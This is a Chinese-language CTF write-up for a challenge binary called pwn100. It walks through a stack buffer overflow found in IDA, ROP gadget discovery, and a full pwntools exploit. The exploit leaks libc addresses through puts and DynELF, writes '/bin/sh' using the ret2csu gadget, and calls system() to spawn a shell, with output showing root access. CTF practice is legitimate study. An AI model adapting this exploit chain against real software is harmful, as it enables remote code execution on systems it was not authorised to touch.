ida pro打开

__int64 __fastcall sub_40063D(__int64 a1, unsigned int a2)	
{
  __int64 result; // rax@3
  signed int i; // [sp+1Ch] [bp-4h]@1			//将用户输入的a2个字节保存在a1中

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= (signed int)a2 )
      break;
    read(0, (void *)(i + a1), 1uLL);
  }
  return result;											//返回a2
}

如下所示,存储用户输入的空间为0x40字节,所以用户输入会导致溢出

int sub_40068E()
{
  char v1; // [sp+0h] [bp-40h]@1

  sub_40063D((__int64)&v1, 0xC8u);              // 这里存在明显的栈溢出
  return puts("bye~");
}

使用objdump -d pwn100|less查看put@plt和read@got

0000000000400500 <puts@plt>:
  400500:       ff 25 12 0b 20 00       jmpq   *0x200b12(%rip)        # 601018 <__gmon_start__@plt+0x200ad8>
0000000000400520 <read@plt>:
  400520:       ff 25 02 0b 20 00       jmpq   *0x200b02(%rip)        # 601028 <__gmon_start__@plt+0x200ae8>

通过ROPgadget --binary pwn100|less查找pop rdi ; ret

...skipping...
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret

在ida_pro中查找通用gadget的地址

.text:0000000000400740
.text:0000000000400740     loc_400740:                             ; CODE XREF: init+54j
.text:0000000000400740 038                 mov     rdx, r13
.text:0000000000400743 038                 mov     rsi, r14
.text:0000000000400746 038                 mov     edi, r15d
.text:0000000000400749 038                 call    qword ptr [r12+rbx*8]
.text:000000000040074D 038                 add     rbx, 1
.text:0000000000400751 038                 cmp     rbx, rbp
.text:0000000000400754 038                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756     loc_400756:                             ; CODE XREF: init+36j
.text:0000000000400756 038                 add     rsp, 8
.text:000000000040075A 030                 pop     rbx
.text:000000000040075B 028                 pop     rbp
.text:000000000040075C 020                 pop     r12
.text:000000000040075E 018                 pop     r13
.text:0000000000400760 010                 pop     r14
.text:0000000000400762 008                 pop     r15
.text:0000000000400764 000                 retn
.text:0000000000400764     init            endp

最终的exp

# coding:utf-8

from pwn import *

start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = 0x400500
read_got = 0x601028

io = process('./pwn100')

def leak(addr):
    count = 0
    up = ''
    content = ''
    payload = 'a' * 72
    payload += p64(pop_rdi)     #这个地方覆盖了return address
    payload += p64(addr)        #将地址存入rdi
    payload += p64(puts_addr)   #输出了addr的值
    payload += p64(start_addr)  #重新进入程序开始的地方
    payload = payload.ljust(200, 'a')
    io.send(payload)
    io.recvuntil("bye~\n")
    while True:
        c = io.recv(numb=1, timeout=0.1)
        count += 1

        if up == '\n' and c == "":
            content = content[:-1] + '\x00'
            break
        else:
            content += c
            up = c
    content = content[:4]
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

elf = ELF("./pwn100")
d = DynELF(leak, elf=elf)                             #无libc,有binary
system_addr = d.lookup('system', 'libc')            #使用DynELF通过leak出来的地址,找到libc中system的地址
log.info("system_addr = %#x", system_addr)

gadget1 = 0x40075a
gadget2 = 0x400740
binsh_addr = 0x601000                           #只要这个地址是一个可写入的区域就行

payload = 'a' * 72                                  #通过通用gadget来构造rop链来写入/bin/sh
payload += p64(gadget1)
payload += p64(0)  # rbx=0
payload += p64(1)  # rbp=1  call
payload += p64(read_got)  # read
payload += p64(8)  # read size
payload += p64(binsh_addr)
payload += p64(0)  # r15 read canshu
payload += p64(gadget2)
payload += '\x00' * 56
payload += p64(start_addr)
payload = payload.ljust(200, 'a')

io.send(payload)
io.recvuntil('bye~\n')
io.send('/bin/sh\x00')

payload = "A" * 72                                  #构造rop链来调用system('/bin/sh')
payload += p64(pop_rdi)  # system("/bin/sh\x00")
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.interactive()

结果

[*] 0x7ffff7a18bc6 => 00
[*] 0x7ffff7a18bc7 => 00
[*] system_addr = 0x7ffff7a50270
[*] Switching to interactive mode
bye~
$ id
uid=0(root) gid=0(root) 组=0(root)